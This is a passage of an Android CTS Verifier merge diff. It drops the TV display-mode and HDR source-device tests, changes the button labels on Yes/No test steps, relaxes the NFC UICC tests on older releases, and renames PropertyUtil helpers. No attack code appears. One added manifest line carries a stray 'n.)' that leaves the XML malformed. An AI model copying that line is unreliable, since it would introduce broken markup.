Merge "Wait for connect before dropping permissions" am: 6af04d2b3a am: 561ac85ed3
Original change: https://android-review.googlesource.com/c/platform/cts/+/1470543
Change-Id: Iaeec1eb060b01ce898591bcb7c9c280ca9b04839
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index c88a8fc..6ca9aef 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -2503,9 +2503,9 @@
<meta-data android:name="test_required_features" android:value="android.hardware.camera.any"/>
<meta-data android:name="test_excluded_features"
- android:value="android.hardware.type.automotive"/>
+ android:value="android.hardware.type.automotive:android.hardware.type.television:android.software.leanback"/>
<meta-data android:name="display_mode"
- android:value="multi_display_mode" />
+ android:value="multi_display_mode" />n.)
</activity>
<service android:name=".camera.intents.CameraContentJobService"
@@ -4283,22 +4283,12 @@
<meta-data android:name="test_category" android:value="@string/test_category_tv" />
<meta-data android:name="test_required_features"
android:value="android.software.leanback" />
+ <meta-data android:name="test_required_configs"
+ android:value="config_tv_panel"/>
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
</activity>
- <activity android:name=".tv.display.DisplayModesTestActivity"
- android:label="@string/tv_display_modes_test"
- android:configChanges="orientation|screenSize|density|smallestScreenSize|screenLayout">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.cts.intent.category.MANUAL_TEST" />
- </intent-filter>
- <meta-data android:name="test_category" android:value="@string/test_category_tv"/>
- <meta-data android:name="test_required_features"
- android:value="android.software.leanback"/>
- <meta-data android:name="display_mode"
- android:value="multi_display_mode" />
- </activity>
+
<activity android:name=".screenpinning.ScreenPinningTestActivity"
android:label="@string/screen_pinning_test">
diff --git a/apps/CtsVerifier/res/values/integers.xml b/apps/CtsVerifier/res/values/integers.xml
index 508c52c..2ced54b 100644
--- a/apps/CtsVerifier/res/values/integers.xml
+++ b/apps/CtsVerifier/res/values/integers.xml
@@ -14,5 +14,5 @@
limitations under the License.
-->
<resources>
- <integer name="test_list_footer_button_count">2</integer>
+ <integer name="test_list_footer_button_count">3</integer>
</resources>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 95c5499..ff6934a 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -1201,7 +1201,7 @@
If your device supports type B (for example, because of a type B only UICC), select "Type B" from the drop-down box above. Note that all tests must be completed in the same mode (either "Type A" or "Type B").</string>
<string name="nfc_offhost_please_wait">Please wait</string>
<string name="nfc_offhost_setting_up">Setting up card emulation services...</string>
- <string name="nfc_offhost_uicc_transaction_event_emulator_help">Switch application to background before starting tests. Successful transaction event will switch application to foreground with transaction event data.</string>
+ <string name="nfc_offhost_uicc_transaction_event_emulator_help"> This is an optional test for Android version beofre S. This is okay to set this test to passed and continue. Switch application to background before starting tests. Successful transaction event will switch application to foreground with transaction event data.</string>
<!-- Strings for Sensor Test Activities -->
<string name="snsr_device_admin_receiver">Sensor Tests Device Admin Receiver</string>
@@ -2212,10 +2212,6 @@
controls for the CTS Verifier app.
Check that icons appear for rewind, previous track, pause, next track and fast forward.
</string>
- <string name="qs_media_player_compact_actions">Open Notification Shade and look at the media player
- controls for the CTS Verifier app.
- Check that icons appear for only previous track, pause and next track.
- </string>
<string name="qs_media_player_output_switcher">Open Quick Settings and look at the media player
controls for the CTS Verifier app. Click on the button showing that the media is playing
on the phone speaker. Check that the Output Switcher opens.
@@ -4664,22 +4660,9 @@
<!-- HDR Capabilities test -->
<string name="tv_hdr_capabilities_test">HDR Capabilities Test</string>
- <string name="tv_hdr_capabilities_test_step_hdr_display">HDR Display</string>
- <string name="tv_hdr_capabilities_test_step_no_display">No Display</string>
- <string name="tv_hdr_capabilities_test_step_non_hdr_display">Non HDR Display</string>
<string name="tv_hdr_capabilities_test_info">This test checks if
Display.getHdrCapabilities correctly reports the HDR capabilities of the display.
</string>
- <string name="tv_hdr_connect_no_hdr_display">Connect a non-HDR display and then
- press the "%s" button, below.
- </string>
- <string name="tv_hdr_connect_hdr_display">Connect an HDR display and press
- the "%s" button, below.
- </string>
- <string name="tv_hdr_disconnect_display">Press the "%1$s" button
- and disconnect the display within %2$d seconds. Wait at least %3$d seconds and then
- reconnect the display.
- </string>
<string name="tv_panel_hdr_types_reported_are_supported">
The supported HDR types are: %s\nAre all of them supported by the hardware?
</string>
@@ -4687,31 +4670,6 @@
Are there other HDR types which are supported by the hardware, but are not listed above?
</string>
- <!-- Display Modes Test -->
- <string name="tv_display_modes_test">Display Modes Test</string>
- <string name="tv_display_modes_test_info">This test checks if Display.getSupportedModes()
- and Display.getMode() are correctly reporting the supported screen modes.
- </string>
- <string name="tv_display_modes_disconnect_display">
- Press the "%1$s" button and disconnect the display within %2$d seconds. Wait at least %3$d
- seconds and then reconnect the display.
- </string>
- <string name="tv_display_modes_test_step_no_display">No Display</string>
- <string name="tv_display_modes_test_step_1080p">1080p Display</string>
- <string name="tv_display_modes_test_step_2160p">2160p Display</string>
- <string name="tv_display_modes_start_test_button">Start Test</string>
- <string name="tv_display_modes_connect_2160p_display">
- Connect a 2160p display and press the "%s" button, below.
- </string>
- <string name="tv_display_modes_connect_1080p_display">
- Connect a 1080p display and press the "%s" button, below.
- </string>
- <string name="tv_panel_display_modes_reported_are_supported">
- The supported display modes are:\n%s\n\nAre all of the above display modes supported by the hardware?
- </string>
- <string name="tv_panel_display_modes_supported_are_reported">
- Are there other modes which are supported by the hardware, but are not listed above?
- </string>
<string name="overlay_view_text">Overlay View Dummy Text</string>
<string name="custom_rating">Example of input app specific custom rating.</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
index 7365b32..78f41da 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
@@ -753,7 +753,7 @@
private void startPreview() {
try {
- if (mPreviewSize == null || mPreviewSize.equals(mNextCombination.mPreviewSize)) {
+ if (mPreviewSize == null || !mPreviewSize.equals(mNextCombination.mPreviewSize)) {
mPreviewSize = mNextCombination.mPreviewSize;
mYuvImageReader = ImageReader.newInstance(mPreviewSize.getWidth(),
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
index 037dd7f..795028e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
@@ -29,6 +29,7 @@
import android.nfc.NfcAdapter;
import android.nfc.cardemulation.CardEmulation;
import android.os.AsyncTask;
+import android.os.Build;
import android.os.Bundle;
import android.util.Log;
import android.widget.TextView;
@@ -53,7 +54,11 @@
setContentView(R.layout.pass_fail_text);
setPassFailButtonClickListeners();
- getPassButton().setEnabled(false);
+ if (Build.VERSION.SDK_INT > Build.VERSION_CODES.R) {
+ getPassButton().setEnabled(false);
+ } else {
+ getPassButton().setEnabled(true);
+ }
mTextView = (TextView) findViewById(R.id.text);
mTextView.setTextSize(12.0f);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
index 6f257af..34a418b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
@@ -29,6 +29,7 @@
import android.nfc.NfcAdapter;
import android.nfc.cardemulation.CardEmulation;
import android.os.AsyncTask;
+import android.os.Build;
import android.os.Bundle;
import android.util.Log;
import android.widget.TextView;
@@ -53,7 +54,11 @@
setContentView(R.layout.pass_fail_text);
setPassFailButtonClickListeners();
- getPassButton().setEnabled(false);
+ if (Build.VERSION.SDK_INT > Build.VERSION_CODES.R) {
+ getPassButton().setEnabled(false);
+ } else {
+ getPassButton().setEnabled(true);
+ }
mTextView = (TextView) findViewById(R.id.text);
mTextView.setTextSize(12.0f);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
index d79674d..6055ac4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
@@ -29,6 +29,7 @@
import android.nfc.NfcAdapter;
import android.nfc.cardemulation.CardEmulation;
import android.os.AsyncTask;
+import android.os.Build;
import android.os.Bundle;
import android.util.Log;
import android.widget.TextView;
@@ -53,7 +54,11 @@
setContentView(R.layout.pass_fail_text);
setPassFailButtonClickListeners();
- getPassButton().setEnabled(false);
+ if (Build.VERSION.SDK_INT > Build.VERSION_CODES.R) {
+ getPassButton().setEnabled(false);
+ } else {
+ getPassButton().setEnabled(true);
+ }
mTextView = (TextView) findViewById(R.id.text);
mTextView.setTextSize(12.0f);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java
index eb6a681..fbe0b01 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java
@@ -64,7 +64,6 @@
cases.add(new MediaPlayerTestCase(R.string.qs_media_player_progress_bar));
cases.add(new MediaPlayerTestCase(R.string.qs_media_player_actions));
cases.add(new MediaPlayerTestCase(R.string.qs_media_player_output_switcher));
- cases.add(new MediaPlayerTestCase(R.string.qs_media_player_compact_actions));
return cases;
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
index e0c02d8..72a34ba 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
@@ -69,157 +69,15 @@
@Override
protected void createTestItems() {
List<TestStepBase> testSteps = new ArrayList<>();
- if (TvUtil.isHdmiSourceDevice()) {
- // The device is a set-top box or a TV dongle
- testSteps.add(new NonHdrDisplayTestStep(this));
- testSteps.add(new HdrDisplayTestStep(this));
- testSteps.add(new NoDisplayTestStep(this));
- } else {
- // The device is a TV Panel
- testSteps.add(new TvPanelReportedTypesAreSupportedTestStep(this));
- testSteps.add(new TvPanelSupportedTypesAreReportedTestStep(this));
- }
+ testSteps.add(new TvPanelReportedTypesAreSupportedTestStep(this));
+ testSteps.add(new TvPanelSupportedTypesAreReportedTestStep(this));
mTestSequence = new TestSequence(this, testSteps);
mTestSequence.init();
}
- private static class NonHdrDisplayTestStep extends SyncTestStep {
-
- public NonHdrDisplayTestStep(TvAppVerifierActivity context) {
- super(
- context,
- R.string.tv_hdr_capabilities_test_step_non_hdr_display,
- getInstructionText(context),
- getButtonStringId());
- }
-
- private static String getInstructionText(Context context) {
- return context.getString(
- R.string.tv_hdr_connect_no_hdr_display, context.getString(getButtonStringId()));
- }
-
- private static @StringRes int getButtonStringId() {
- return R.string.tv_start_test;
- }
-
- @Override
- public void runTest() {
- DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
- Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
- getAsserter().withMessage("Display.isHdr()").that(display.isHdr()).isFalse();
- getAsserter()
- .withMessage("Display.getHdrCapabilities()")
- .that(display.getHdrCapabilities().getSupportedHdrTypes())
- .isEmpty();
- }
- }
-
- private static class HdrDisplayTestStep extends SyncTestStep {
-
- public HdrDisplayTestStep(TvAppVerifierActivity context) {
- super(
- context,
- R.string.tv_hdr_capabilities_test_step_hdr_display,
- getInstructionText(context),
- getButtonStringId());
- }
-
- private static String getInstructionText(Context context) {
- return context.getString(
- R.string.tv_hdr_connect_hdr_display, context.getString(getButtonStringId()));
- }
-
- private static @StringRes int getButtonStringId() {
- return R.string.tv_start_test;
- }
-
- @Override
- public void runTest() {
- DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
- Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
-
- getAsserter().withMessage("Display.isHdr()").that(display.isHdr()).isTrue();
-
- Display.HdrCapabilities hdrCapabilities = display.getHdrCapabilities();
-
- int[] supportedHdrTypes = hdrCapabilities.getSupportedHdrTypes();
- Arrays.sort(supportedHdrTypes);
-
- getAsserter()
- .withMessage("Display.getHdrCapabilities().getSupportedTypes()")
- .that(supportedHdrTypes)
- .isEqualTo(
- new int[] {
- Display.HdrCapabilities.HDR_TYPE_DOLBY_VISION,
- Display.HdrCapabilities.HDR_TYPE_HDR10,
- Display.HdrCapabilities.HDR_TYPE_HDR10_PLUS,
- Display.HdrCapabilities.HDR_TYPE_HLG
- });
-
- float maxLuminance = hdrCapabilities.getDesiredMaxLuminance();
- getAsserter()
- .withMessage("Display.getHdrCapabilities().getDesiredMaxLuminance()")
- .that(maxLuminance)
- .isIn(Range.openClosed(0f, MAX_EXPECTED_LUMINANCE));
-
- float minLuminance = hdrCapabilities.getDesiredMinLuminance();
- getAsserter()
- .withMessage("Display.getHdrCapabilities().getDesiredMinLuminance()")
- .that(minLuminance)
- .isIn(Range.closedOpen(0f, MAX_EXPECTED_LUMINANCE));
-
- getAsserter()
- .withMessage("Display.getHdrCapabilities().getDesiredMaxAverageLuminance()")
- .that(hdrCapabilities.getDesiredMaxAverageLuminance())
- .isIn(Range.openClosed(minLuminance, maxLuminance));
- }
- }
-
- private static class NoDisplayTestStep extends AsyncTestStep {
- public NoDisplayTestStep(TvAppVerifierActivity context) {
- super(
- context,
- R.string.tv_hdr_capabilities_test_step_no_display,
- getInstructionText(context),
- getButtonStringId());
- }
-
- private static String getInstructionText(Context context) {
- return context.getString(
- R.string.tv_hdr_disconnect_display,
- context.getString(getButtonStringId()),
- DISPLAY_DISCONNECT_WAIT_TIME_SECONDS,
- DISPLAY_DISCONNECT_WAIT_TIME_SECONDS + 1);
- }
-
- private static @StringRes int getButtonStringId() {
- return R.string.tv_start_test;
- }
-
- @Override
- public void runTestAsync() {
- // Wait for the user to disconnect the display.
- final long delay = Duration.ofSeconds(DISPLAY_DISCONNECT_WAIT_TIME_SECONDS).toMillis();
- mContext.getPostTarget().postDelayed(this::runTest, delay);
- }
-
- private void runTest() {
- try {
- // Verify the display APIs do not crash when the display is disconnected
- DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
- Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
- display.isHdr();
- display.getHdrCapabilities();
- } catch (Exception e) {
- getAsserter().withMessage(Throwables.getStackTraceAsString(e)).fail();
- }
- done();
- }
- }
-
private static class TvPanelReportedTypesAreSupportedTestStep extends YesNoTestStep {
public TvPanelReportedTypesAreSupportedTestStep(TvAppVerifierActivity context) {
- super(context, getInstructionText(context));
+ super(context, getInstructionText(context), R.string.tv_yes, R.string.tv_no);
}
private static String getInstructionText(Context context) {
@@ -244,7 +102,7 @@
private static class TvPanelSupportedTypesAreReportedTestStep extends YesNoTestStep {
public TvPanelSupportedTypesAreReportedTestStep(TvAppVerifierActivity context) {
- super(context, getInstructionText(context));
+ super(context, getInstructionText(context), R.string.tv_no, R.string.tv_yes);
}
private static String getInstructionText(Context context) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
deleted file mode 100644
index 7c8a208..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
+++ /dev/null
@@ -1,331 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.tv.display;
-
-import android.content.Context;
-import android.hardware.display.DisplayManager;
-import android.os.Bundle;
-import android.view.Display;
-
-import androidx.annotation.StringRes;
-
-import com.android.cts.verifier.R;
-import com.android.cts.verifier.tv.TestSequence;
-import com.android.cts.verifier.tv.TestStepBase;
-import com.android.cts.verifier.tv.TvAppVerifierActivity;
-import com.android.cts.verifier.tv.TvUtil;
-
-import com.google.common.base.Throwables;
-import com.google.common.truth.Correspondence;
-import com.google.common.truth.FailureMetadata;
-import com.google.common.truth.Subject;
-
-import java.time.Duration;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.stream.Collectors;
-
-import javax.annotation.Nullable;
-
-/**
- * Test for verifying that the platform correctly reports display resolution and refresh rate. More
- * specifically Display.getMode() and Display.getSupportedModes() APIs are tested. In the case for
- * set-top boxes and TV dongles they are tested against reference displays. For TV panels they are
- * tested against the hardware capabilities of the device.
- */
-public class DisplayModesTestActivity extends TvAppVerifierActivity {
- private static final int DISPLAY_DISCONNECT_WAIT_TIME_SECONDS = 5;
- private static final float REFRESH_RATE_PRECISION = 0.01f;
-
- private static final Subject.Factory<ModeSubject, Display.Mode> MODE_SUBJECT_FACTORY =
- (failureMetadata, mode) -> new ModeSubject(failureMetadata, mode);
-
- private static final Correspondence<Display.Mode, Mode> MODE_CORRESPONDENCE =
- Correspondence.from((Display.Mode displayMode, Mode mode) -> {
- return mode.isEquivalent(displayMode, REFRESH_RATE_PRECISION);
- }, "is equivalent to");
-
- private TestSequence mTestSequence;
-
- @Override
- protected void setInfoResources() {
- setInfoResources(R.string.tv_display_modes_test, R.string.tv_display_modes_test_info, -1);
- }
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- }
-
- @Override
- protected void createTestItems() {
- List<TestStepBase> testSteps = new ArrayList<>();
- if (TvUtil.isHdmiSourceDevice()) {
- // The device is a set-top box or a TV dongle
- testSteps.add(new NoDisplayTestStep(this));
- testSteps.add(new Display2160pTestStep(this));
- testSteps.add(new Display1080pTestStep(this));
- } else {
- // The device is a TV Panel
- testSteps.add(new TvPanelReportedModesAreSupportedTestStep(this));
- testSteps.add(new TvPanelSupportedModesAreReportedTestStep(this));
- }
- mTestSequence = new TestSequence(this, testSteps);
- mTestSequence.init();
- }
-
- @Override
- public String getTestDetails() {
- return mTestSequence.getFailureDetails();
- }
-
- private static class NoDisplayTestStep extends AsyncTestStep {
- public NoDisplayTestStep(TvAppVerifierActivity context) {
- super(
- context,
- R.string.tv_display_modes_test_step_no_display,
- getInstructionText(context),
- getButtonStringId());
- }
-
- private static String getInstructionText(Context context) {
- return context.getString(
- R.string.tv_display_modes_disconnect_display,
- context.getString(getButtonStringId()),
- DISPLAY_DISCONNECT_WAIT_TIME_SECONDS,
- DISPLAY_DISCONNECT_WAIT_TIME_SECONDS + 1);
- }
-
- private static @StringRes int getButtonStringId() {
- return R.string.tv_start_test;
- }
-
- @Override
- public void runTestAsync() {
- final long delay = Duration.ofSeconds(DISPLAY_DISCONNECT_WAIT_TIME_SECONDS).toMillis();
- mContext.getPostTarget().postDelayed(this::runTest, delay);
- }
-
- private void runTest() {
- try {
- // Verify the display APIs do not crash when the display is disconnected
- DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
- Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
- display.getMode();
- display.getSupportedModes();
- } catch (Exception e) {
- getAsserter().withMessage(Throwables.getStackTraceAsString(e)).fail();
- }
- done();
- }
- }
-
- private static class Display2160pTestStep extends SyncTestStep {
- public Display2160pTestStep(TvAppVerifierActivity context) {
- super(
- context,
- R.string.tv_display_modes_test_step_2160p,
- getInstructionText(context),
- getButtonStringId());
- }
-
- private static String getInstructionText(Context context) {
- return context.getString(
- R.string.tv_display_modes_connect_2160p_display,
- context.getString(getButtonStringId()));
- }
-
- private static @StringRes int getButtonStringId() {
- return R.string.tv_start_test;
- }
-
- @Override
- public void runTest() {
- DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
- Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
- getAsserter()
- .withMessage("Display.getMode()")
- .about(MODE_SUBJECT_FACTORY)
- .that(display.getMode())
- .isEquivalentToAnyOf(
- REFRESH_RATE_PRECISION,
- new Mode(3840, 2160, 60f),
- new Mode(3840, 2160, 50f));
-
- Mode[] expected2160pSupportedModes =
- new Mode[] {
- new Mode(720, 480, 60f),
- new Mode(720, 576, 50f),
- // 720p modes
- new Mode(1280, 720, 50f),
- new Mode(1280, 720, 60f),
- // 1080p modes
- new Mode(1920, 1080, 24f),
- new Mode(1920, 1080, 25f),
- new Mode(1920, 1080, 30f),
- new Mode(1920, 1080, 50f),
- new Mode(1920, 1080, 60f),
- // 2160p modes
- new Mode(3840, 2160, 24f),
- new Mode(3840, 2160, 25f),
- new Mode(3840, 2160, 30f),
- new Mode(3840, 2160, 50f),
- new Mode(3840, 2160, 60f)
- };
- getAsserter()
- .withMessage("Display.getSupportedModes()")
- .that(Arrays.asList(display.getSupportedModes()))
- .comparingElementsUsing(MODE_CORRESPONDENCE)
- .containsAtLeastElementsIn(expected2160pSupportedModes);
- }
- }
-
- private static class Display1080pTestStep extends SyncTestStep {
- public Display1080pTestStep(TvAppVerifierActivity context) {
- super(
- context,
- R.string.tv_display_modes_test_step_1080p,
- getInstructionText(context),
- getButtonStringId());
- }
-
- private static String getInstructionText(Context context) {
- return context.getString(
- R.string.tv_display_modes_connect_1080p_display,
- context.getString(getButtonStringId()));
- }
-
- private static @StringRes int getButtonStringId() {
- return R.string.tv_start_test;
- }
-
- @Override
- public void runTest() {
- DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
- Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
-
- getAsserter()
- .withMessage("Display.getMode()")
- .about(MODE_SUBJECT_FACTORY)
- .that(display.getMode())
- .isEquivalentToAnyOf(
- REFRESH_RATE_PRECISION,
- new Mode(1920, 1080, 60f),
- new Mode(1920, 1080, 50f));
-
- final Mode[] expected1080pSupportedModes =
- new Mode[] {
- new Mode(720, 480, 60f),
- new Mode(720, 576, 50f),
- // 720p modes
- new Mode(1280, 720, 50f),
- new Mode(1280, 720, 60f),
- // 1080p modes
- new Mode(1920, 1080, 24f),
- new Mode(1920, 1080, 25f),
- new Mode(1920, 1080, 30f),
- new Mode(1920, 1080, 50f),
- new Mode(1920, 1080, 60f),
- };
- getAsserter()
- .withMessage("Display.getSupportedModes()")
- .that(Arrays.asList(display.getSupportedModes()))
- .comparingElementsUsing(MODE_CORRESPONDENCE)
- .containsAtLeastElementsIn(expected1080pSupportedModes);
- }
- }
-
- private static class TvPanelReportedModesAreSupportedTestStep extends YesNoTestStep {
- public TvPanelReportedModesAreSupportedTestStep(TvAppVerifierActivity context) {
- super(context, getInstructionText(context));
- }
-
- private static String getInstructionText(Context context) {
- DisplayManager displayManager = context.getSystemService(DisplayManager.class);
- Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
- String supportedModes =
- Arrays.stream(display.getSupportedModes())
- .map(DisplayModesTestActivity::formatDisplayMode)
- .collect(Collectors.joining("\n"));
-
- return context.getString(
- R.string.tv_panel_display_modes_reported_are_supported, supportedModes);
- }
- }
-
- private static class TvPanelSupportedModesAreReportedTestStep extends YesNoTestStep {
- public TvPanelSupportedModesAreReportedTestStep(TvAppVerifierActivity context) {
- super(context, getInstructionText(context));
- }
-
- private static String getInstructionText(Context context) {
- return context.getString(R.string.tv_panel_display_modes_supported_are_reported);
- }
- }
-
- // We use a custom Mode class since the constructors of Display.Mode are hidden. Additionally,
- // we want to use fuzzy comparison for frame rates which is not used in Display.Mode.equals().
- private static class Mode {
- public int mWidth;
- public int mHeight;
- public float mRefreshRate;
-
- public Mode(int width, int height, float refreshRate) {
- this.mWidth = width;
- this.mHeight = height;
- this.mRefreshRate = refreshRate;
- }
-
- public boolean isEquivalent(Display.Mode displayMode, float refreshRatePrecision) {
- return mHeight == displayMode.getPhysicalHeight()
- && mWidth == displayMode.getPhysicalWidth()
- && Math.abs(mRefreshRate - displayMode.getRefreshRate()) < refreshRatePrecision;
- }
-
- @Override
- public String toString() {
- return formatDisplayMode(mWidth, mHeight, mRefreshRate);
- }
- }
-
- private static class ModeSubject extends Subject<ModeSubject, Display.Mode> {
- private final Display.Mode mActual;
-
- public ModeSubject(FailureMetadata failureMetadata, @Nullable Display.Mode subject) {
- super(failureMetadata, subject);
- mActual = subject;
- }
-
- public void isEquivalentToAnyOf(final float refreshRatePrecision, Mode... modes) {
- boolean found = Arrays.stream(modes)
- .anyMatch(mode -> mode.isEquivalent(mActual, refreshRatePrecision));
- if (!found) {
- failWithActual("expected any of", Arrays.toString(modes));
- }
- }
- }
-
- private static String formatDisplayMode(Display.Mode mode) {
- return formatDisplayMode(
- mode.getPhysicalWidth(), mode.getPhysicalHeight(), mode.getRefreshRate());
- }
-
- private static String formatDisplayMode(int width, int height, float refreshRate) {
- return String.format("%dx%d %.2f Hz", width, height, refreshRate);
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java
index 4da4d18..4f300d4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/YesNoTestStep.java
@@ -27,9 +27,10 @@
* two buttons - Yes and No, which respectively set the test in passing and failing state.
*/
public abstract class YesNoTestStep extends TestStepBase {
- private View yesButton;
- private View noButton;
-
+ private View positiveButton;
+ private View negativeButton;
+ private final int positiveButtonText;
+ private final int negativeButtonText;
/**
* Constructs a test step containing human instructions for a manual test and two buttons - Yes
* and No.
@@ -37,24 +38,27 @@
* @param context The test activity which this test step is part of.
* @param instructionText The text of the test instruction visible to the user.
*/
- public YesNoTestStep(TvAppVerifierActivity context, String instructionText) {
+ public YesNoTestStep(TvAppVerifierActivity context, String instructionText,
+ int positiveButtonText, int negativeButtonText) {
super(context, instructionText);
+ this.positiveButtonText = positiveButtonText;
+ this.negativeButtonText = negativeButtonText;
}
@Override
public void createUiElements() {
super.createUiElements();
- yesButton =
+ positiveButton =
mContext.createButtonItem(
- R.string.tv_yes,
+ positiveButtonText,
(View view) -> {
disableInteractivity();
// do nothing so the test will pass
done();
});
- noButton =
+ negativeButton =
mContext.createButtonItem(
- R.string.tv_no,
+ negativeButtonText,
(View view) -> {
disableInteractivity();
getAsserter().fail();
@@ -64,13 +68,13 @@
@Override
public void enableInteractivity() {
- TvAppVerifierActivity.setButtonEnabled(yesButton, true);
- TvAppVerifierActivity.setButtonEnabled(noButton, true);
+ TvAppVerifierActivity.setButtonEnabled(positiveButton, true);
+ TvAppVerifierActivity.setButtonEnabled(negativeButton, true);
}
@Override
public void disableInteractivity() {
- TvAppVerifierActivity.setButtonEnabled(yesButton, false);
- TvAppVerifierActivity.setButtonEnabled(noButton, false);
+ TvAppVerifierActivity.setButtonEnabled(positiveButton, false);
+ TvAppVerifierActivity.setButtonEnabled(negativeButton, false);
}
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
index fb25dd7..c5933a7 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -16,7 +16,10 @@
package com.android.compatibility.common.util;
+import static org.junit.Assert.assertNotEquals;
+
import android.os.Build;
+import android.os.SystemProperties;
import androidx.test.InstrumentationRegistry;
@@ -41,6 +44,7 @@
private static final String BUILD_TYPE_PROPERTY = "ro.build.type";
private static final String MANUFACTURER_PROPERTY = "ro.product.manufacturer";
private static final String TAG_DEV_KEYS = "dev-keys";
+ private static final String VENDOR_SDK_VERSION = "ro.vendor.build.version.sdk";
private static final String VNDK_VERSION = "ro.vndk.version";
public static final String GOOGLE_SETTINGS_QUERY =
@@ -75,30 +79,57 @@
}
/**
- * Return whether the SDK version of the vendor partiton is newer than the given API level.
+ * Return whether the VNDK version of the vendor partiton is newer than the given API level.
* If the property is set to non-integer value, this means the vendor partition is using
* current API level and true is returned.
*/
- public static boolean isVendorApiLevelNewerThan(int apiLevel) {
- int vendorApiLevel = getPropertyInt(VNDK_VERSION);
- if (vendorApiLevel == INT_VALUE_IF_UNSET) {
+ public static boolean isVndkApiLevelNewerThan(int apiLevel) {
+ int vndkApiLevel = getPropertyInt(VNDK_VERSION);
+ if (vndkApiLevel == INT_VALUE_IF_UNSET) {
return true;
}
- return vendorApiLevel > apiLevel;
